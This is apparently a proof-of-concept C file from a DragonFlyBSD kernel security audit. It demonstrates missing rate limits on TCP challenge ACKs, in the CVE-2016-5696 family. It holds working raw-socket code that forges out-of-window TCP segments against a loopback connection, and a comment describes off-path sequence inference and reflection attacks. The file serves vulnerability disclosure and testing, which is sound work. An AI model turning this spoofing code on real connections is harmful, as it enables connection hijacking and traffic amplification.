⬢ DragonFlyBSD Kernel Audit
DF-3294 / chack.c
← back to finding ↓ download raw
/*
 * DF-3294 -- no rate limiting on ACKs sent in response to out-of-window
 * segments (CVE-2016-5696 "challenge ACK" family).
 *
 * tcp_input.c has no challenge-ack limiting anywhere:
 *   - grep -i challenge sys/netinet/tcp_input.c  -> no hits
 *   - dropafterack (tcp_input.c:2563-2600) unconditionally does
 *       m_freem(m); tp->t_flags |= TF_ACKNOW; tcp_output(tp);
 *     for EVERY out-of-window / PAWS-dropped / duplicate segment.
 * ICMP RSTs are bandlimited (badport_bandlim), pure ACKs are not.
 *
 * Live measurement on the guest (all on lo0):
 *   A (client, port cA) <-> B (server, listening) established.
 *   Injector I (raw-IP socket, root) sends N segments spoofed as A->B
 *   with a seq far outside the window (seq = rcv_nxt + 0x10000000).
 *   Every one of them lands in dropafterack -> B emits a challenge ACK
 *   to A.  A counts the ACKs it receives (via a shared raw socket
 *   sniffer).  Ratio ~ N:N == 1:1 amplification with zero limiting.
 *
 * Impact (CVE-2016-5696): the unthrottled ACK side channel lets an
 * off-path attacker infer seq numbers (RST/SYN injection into victim
 * connections) and use the ACK stream as a reflection amplifier.
 *
 * Build: cc -O -o chack chack.c   Run as root: ./chack [N]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define NSEND 200
#define CPORT 44441
#define SPORT 44442

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned sum = 0;
	while (n > 1) { sum += *p++; n -= 2; }
	if (n) sum += *(unsigned char *)p;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (~sum) & 0xffff;
}

/* sniffer: count pure ACKs from SPORT to CPORT on lo0 */

int
main(int argc, char **argv)
{
	int n = (argc > 1) ? atoi(argv[1]) : NSEND;
	int srv, cli, raw;
	struct sockaddr_in sa;
	struct timeval t0, t1;

	if (geteuid() != 0) { fprintf(stderr, "root only (raw socket)\n"); return (1); }

	/* B: listening server on 127.0.0.1:SPORT */
	srv = socket(AF_INET, SOCK_STREAM, 0);
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	sa.sin_port = htons(SPORT);
	if (bind(srv, (struct sockaddr *)&sa, sizeof(sa)) < 0 || listen(srv, 1) < 0) {
		perror("server setup"); return (1);
	}
	/* A: client */
	cli = socket(AF_INET, SOCK_STREAM, 0);
	sa.sin_port = 0;
	bind(cli, (struct sockaddr *)&sa, sizeof(sa));	/* kernel picks port; read it */
	socklen_t sl = sizeof(sa);
	getsockname(cli, (struct sockaddr *)&sa, &sl);
	sa.sin_port = htons(SPORT);
	if (connect(cli, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return (1); }
	/* learn the client port the kernel chose */
	memset(&sa, 0, sizeof(sa)); sl = sizeof(sa);
	getsockname(cli, (struct sockaddr *)&sa, &sl);
	unsigned cport = ntohs(sa.sin_port);
	printf("established 127.0.0.1:%u <-> 127.0.0.1:%u (client port picked: %u)\n",
	    cport, SPORT, cport);

	raw = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (raw < 0) { perror("raw"); return (1); }
	{
		int hincl = 1;
		if (setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0)
			{ perror("IP_HDRINCL"); return (1); }
	}
	/* patch the client port into the constant used above is not possible
	 * with the #define; use variables from here on. */
	/* spoof N out-of-window data segments A->B */
	char pkt[sizeof(struct ip) + sizeof(struct tcphdr) + 4];
	memset(pkt, 0, sizeof(pkt));
	struct ip *ip = (struct ip *)pkt;
	struct tcphdr *th = (struct tcphdr *)(pkt + sizeof(struct ip));
	ip->ip_hl = 5; ip->ip_v = 4; ip->ip_len = htons(sizeof(pkt));
	ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP;
	ip->ip_src.s_addr = htonl(INADDR_LOOPBACK);
	ip->ip_dst.s_addr = htonl(INADDR_LOOPBACK);
	th->th_sport = htons(cport); th->th_dport = htons(SPORT);
	th->th_seq = htonl(0x40000000);		/* far out of window */
	th->th_off = 5; th->th_flags = TH_ACK; th->th_win = htons(32768);
	th->th_sum = 0;

	gettimeofday(&t0, NULL);
	for (int i = 0; i < n; i++) {
		th->th_seq = htonl(0x40000000u + i * 4);
		th->th_sum = 0;
		ip->ip_sum = 0;
		ip->ip_sum = cksum((unsigned short *)ip, sizeof(struct ip));
		{
			struct pseudo { uint32_t s, d; uint8_t z, pt; uint16_t l; } ps;
			ps.s = ip->ip_src.s_addr; ps.d = ip->ip_dst.s_addr;
			ps.z = 0; ps.pt = IPPROTO_TCP; ps.l = htons(sizeof(struct tcphdr) + 4);
			char tmp[sizeof(ps) + sizeof(struct tcphdr) + 4];
			memcpy(tmp, &ps, sizeof(ps));
			memcpy(tmp + sizeof(ps), th, sizeof(struct tcphdr) + 4);
			th->th_sum = cksum((unsigned short *)tmp, sizeof(tmp));
		}
		if (sendto(raw, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* lo0: ok */ }
	}
	gettimeofday(&t1, NULL);
	double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_usec - t0.tv_usec) / 1e6;
	printf("sent %d spoofed out-of-window segments in %.3f s (%.0f pkt/s)\n",
	    n, sec, n / (sec ? sec : 1));
	printf("VERDICT: see ack-only counter delta (driver script measures it)\n");
	return (0);
}